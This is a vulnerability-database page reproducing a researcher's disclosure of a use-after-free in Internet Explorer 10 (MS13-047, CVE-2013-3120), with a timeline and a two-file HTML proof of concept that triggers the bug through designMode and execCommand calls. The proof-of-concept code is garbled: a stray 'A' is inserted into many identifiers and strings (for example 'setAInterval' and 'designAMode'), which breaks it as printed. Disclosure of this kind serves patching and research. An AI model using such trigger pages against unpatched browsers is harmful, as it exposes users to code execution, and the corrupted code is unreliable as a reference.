Microsoft Internet Explorer 10 MSHTML CEditAdorner::Detach Use-After-Free

🗓️ 25 Nov 2016 00:00:00Reported by SkyLinedType

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MSIE 10 MSHTML CEditAdorner::Detach Use-After-Free vulnerability found and addressed in MS13-04

Reporter	Title	Published	Views	Family All 16
0day.today	Microsoft Internet Explorer 10 MSHTML - CEditAdorner::Detach Use-After-Free (MS13-047) Exploit	29 Nov 201600:00	–	zdt
Circl	CVE-2013-3120	28 Nov 201600:00	–	circl
Check Point Advisories	Internet Explorer HTML Object access Memory Corruption (MS13-047; CVE-2013-3120)	11 Jun 201300:00	–	checkpoint_advisories
CVE	CVE-2013-3120	12 Jun 201301:00	–	cve
Cvelist	CVE-2013-3120	12 Jun 201301:00	–	cvelist
Microsoft KB	MS13-047: Cumulative security update for Internet Explorer: June 11, 2013	11 Jun 201300:00	–	mskb
NVD	CVE-2013-3120	12 Jun 201303:30	–	nvd
OpenVAS	Microsoft Internet Explorer Multiple Vulnerabilities (2838727)	12 Jun 201300:00	–	openvas
OpenVAS	Microsoft Internet Explorer Multiple Vulnerabilities (2838727)	12 Jun 201300:00	–	openvas
Prion	Memory corruption	12 Jun 201303:29	–	prion

`Throughout November, I plan to release details on vulnerabilities I  
found in web-browsers which I've not released before. This is the  
nineteenth entry in that series. Unfortunately I won't be able to  
publish everything within one month at the current rate, so I may  
continue to publish these through December and January.  
  
The below information is available in more detail on my blog at  
http://blog.skylined.nl/20161125001.html. There you can find a repro  
that triggered this issue in addition to the information below.  
Today's release is a bit skimpy as it was found over 3 years ago, back  
when I did not have the tool-set to analyze issues that I have today.  
  
Follow me on http://twitter.com/berendjanwever for daily browser bugs.  
  
MSIE 10 MSHTML CEditAdorner::Detach use-after-free  
==================================================  
(MS13-047, CVE-2013-3120)  
  
Synopsis  
--------  
A specially crafted web-page can cause Microsoft Internet Explorer 10 to  
continue to use an object after freeing the memory used to store the  
object. An attacker might be able to exploit this issue to execute  
arbitrary code.  
  
Known affected software and attack vectors  
------------------------------------------  
+ Microsoft Internet Explorer 10  
  
An attacker would need to get a target user to open a specially  
crafted web-page. Disabling Javascript should prevent an attacker  
from triggering the vulnerable code path.  
  
Details  
-------  
The last line of script (`designMode = "off"`) will cause some cleanup  
in MSIE, which appears to trigger use of a stale pointer in  
`CEditAdorner::Detach`. I did not investigate further.  
  
Time-line  
---------  
* November 2012: This vulnerability was found through fuzzing.  
* November 2012: This vulnerability was submitted to EIP.  
* December 2012: This vulnerability was rejected by EIP.  
* January 2013: This vulnerability was submitted to ZDI.  
* March 2013: This vulnerability was acquired by ZDI.  
* June 2013: This issue was addressed by Microsoft in MS13-047.  
* November 2016: Details of this issue are released.  
  
Cheers,  
  
SkyLined  
  
  
  
Repro.html  
  
<!DOCTYPE html>  
<html>  
<head>  
<script>  
var oAWindow = window.open("window.xhtml");  
setAInterval(function () {  
try {  
oAWindow.eval("(" + function () {  
document.designAMode = "on";  
document.execACommand("SelectAAll");  
var oASelection = window.getASelection();  
oASelection.collapse(document,1);  
document.execACommand("InsertAImage", false);  
document.designAMode="off";  
} + ")()");  
} catch (e) {}  
}, 1);  
</script>  
</head>  
</html>  
  
Window.xhtml  
  
<!-- comment --><html xmlns="http://www.w3.org/1999/xhtml">  
</html>  
  
`

25 Nov 2016 00:00Current

6.4Medium risk

Vulners AI Score6.4

EPSS0.23184